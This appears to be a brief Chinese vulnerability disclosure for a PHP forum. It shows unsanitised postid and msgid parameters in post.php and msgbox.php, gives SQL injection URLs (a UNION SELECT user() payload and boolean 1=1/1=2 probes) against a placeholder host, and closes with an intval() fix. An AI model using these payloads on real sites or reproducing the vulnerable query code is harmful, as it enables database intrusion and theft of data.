<?
require_once("include/config.inc.php");
require_once('include/functions.inc.php');
$fid=intval($fid);
$tid=intval($tid);
$pid=intval($pid);

.........

if(!$C_errormsg) {
　　if($postid) {
　　　　$sql='select post_content,post_date,user_name from '.__TAB_POST__.' where post_id='.$postid;
　　　　$result=$db->sql_query($sql);
　　　　$rows=$db->sql_fetchrow($result);
　　　　$qcontent=preg_replace("/\[quote\](.*)\[\/quote\]/is","",$rows['post_content']);
　　　　$qtime=date("Y-n-j G:i",$rows['post_date']);
　　　　$articlecontent='[quote][b]引用'.$rows['user_name'].'于'.$qtime."发表的文章: [/b]\n".$qcontent."[/quote]\n";
　　}
.......

http://www.xxxx.cn/bbs/post.php?tid=988&postid=6157%20and%201=2%20union%20select%20user(),2,1

< ?
.........
}elseif($action=='read') {
　　$sql="select msg_id from ".__TAB_MSG__." where user_name='".$_SESSION['username']."' and msg_id>$msgid and msg_kind='$kind' order by msg_id limit 1";
　　$result=$db->sql_query($sql);
　　$rows=$db->sql_fetchrow($result);
　　$nextmsgid=$rows['msg_id'];
..........

http://www.xxxx.cn/bbs/msgbox.php?action=read&msgid=361%20and%201=1
http://www.xxxx.cn/bbs/msgbox.php?action=read&msgid=361%20and%201=2

1、$postid=intval($postid);
2、$msgid=intval($msgid);